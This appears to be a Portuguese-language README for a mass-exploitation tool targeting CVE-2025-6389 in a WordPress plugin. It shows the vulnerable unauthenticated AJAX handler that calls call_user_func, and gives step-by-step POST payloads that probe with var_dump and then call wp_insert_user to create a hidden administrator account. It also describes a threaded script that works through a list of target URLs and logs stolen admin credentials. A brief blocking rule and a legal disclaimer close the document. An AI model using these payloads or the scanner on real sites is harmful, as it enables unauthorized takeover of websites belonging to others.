// Registered without authentication check
add_action('wp_ajax_nopriv_sneeit_articles_pagination', 'sneeit_articles_pagination_callback');

function sneeit_articles_pagination_callback() {
    $callback = $_POST['callback'];  // ← User-controlled function name
    $args     = json_decode(stripslashes($_POST['args']), true); // ← User-controlled args

    // Calling ANY PHP function with ANY arguments — zero validation
    $result = call_user_func($callback, ...$args);

    echo $result;
    die();
}

Passo 1 — Sondagem / Identificação
──────────────────────────────────────────────────────────────────
POST /wp-admin/admin-ajax.php
  action   = sneeit_articles_pagination
  callback = var_dump
  args     = ["test"]

Resposta Esperada → array(1) { [0]=> string(4) "test" }
  ↓
Confirma: call_user_func() está acessível e refletindo a saída

──────────────────────────────────────────────────────────────────
Passo 2 — Criação de Conta de Administrador
──────────────────────────────────────────────────────────────────
POST /wp-admin/admin-ajax.php
  action   = sneeit_articles_pagination
  callback = wp_insert_user
  args     = {"user_login":"Nxploited_XXXX",
               "user_pass":"xplpass",
               "user_email":"...",
               "role":"administrator"}

Resultado → Nova conta de administrador criada silenciosamente no alvo
  ↓
Acesso total ao painel de administração do WordPress alcançado ✔️

pip install requests rich

CVE-2025-6389/
├── CVE-2025-6389.py          # Script de exploração principal
├── list.txt                  # URLs alvo — uma por linha
├── success_results.txt       # Gerado automaticamente: alvos bem-sucedidos + credenciais
└── debug_responses/          # Gerado automaticamente: respostas brutas do servidor para depuração
    └── <target>.resp.txt

https://target1.com
https://target2.com
http://target3.com

python CVE-2025-6389.py

Nome do arquivo de alvos (padrão list.txt): list.txt
Número de threads (padrão 10):       20

┌─────────────────────────────────────────────────────────────────────┐
│  [ASCII BANNER]                                                      │
├──────────────────────────────┬──────────────────────────────────────┤
│  Informação                   │  Estatísticas                       │
│  Uso: Coloque alvos em...    │  Total de Alvos:  150               │
│  Threads: 20                 │  Processados:      87               │
│  Senha: xplpass              │  Sucessos:      12                  │
│  Log de Sucesso: success...  │  Falhas:       75                  │
│  Diretório de Depuração: debug_responses  │  Tempo Decorrido:      00:01:43            │
├──────────────────────────────┴──────────────────────────────────────┤
│  Resultados Recentes                                               │
│  Hora     Alvo                              Resultado               │
│  14:23:01 https://victim.com                SUCESSO               │
│  14:23:03 https://example.net               FALHA                  │
└─────────────────────────────────────────────────────────────────────┘

https://victim.com | USUÁRIO: Nxploited_4821 | SENHA: xplpass | EMAIL: [email protected]

debug_responses/
└── https___victim.com.resp.txt   ← Resposta bruta do servidor para análise

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=sneeit_articles_pagination&callback=<FUNCTION>&args=<JSON>

IF request.method == POST
AND request.path  == "/wp-admin/admin-ajax.php"
AND request.body CONTAINS "sneeit_articles_pagination"
AND request.body CONTAINS "callback"
THEN BLOQUEAR + ALERTAR

ESTA FERRAMENTA É FORNECIDA ESTRITAMENTE PARA FINS EDUCACIONAIS,
TESTES DE PENETRAÇÃO AUTORIZADOS E PESQUISA DE SEGURANÇA.

Ao baixar, executar ou modificar este script, você concorda explicitamente:

  • Você tem autorização EXPLÍCITA E POR ESCRITO do proprietário de cada
    sistema que testar. Sem exceções.

  • Você está operando em um ambiente de laboratório controlado ou durante
    um engajamento formalmente escopo e autorizado.

  • Você NÃO irá implantar esta ferramenta contra qualquer sistema, rede ou
    infraestrutura para a qual não tenha permissão legal para testar.

  • Nxploited e todos os colaboradores assumem ZERO responsabilidade por
    qualquer uso não autorizado, danos, perda de dados, ação legal ou
    processo criminal decorrente do uso desta ferramenta.

O uso não autorizado deste exploit é uma ofensa criminal sob:
  — Computer Fraud and Abuse Act (CFAA), EUA
  — Computer Misuse Act (CMA), Reino Unido
  — Diretiva da UE 2013/40/EU sobre Ataques a Sistemas de Informação
  — E todas as leis nacionais e internacionais equivalentes de crimes cibernéticos.

USE COM RESPONSABILIDADE. HAQUEIE ETICAMENTE. DIVULGUE COM RESPONSABILIDADE.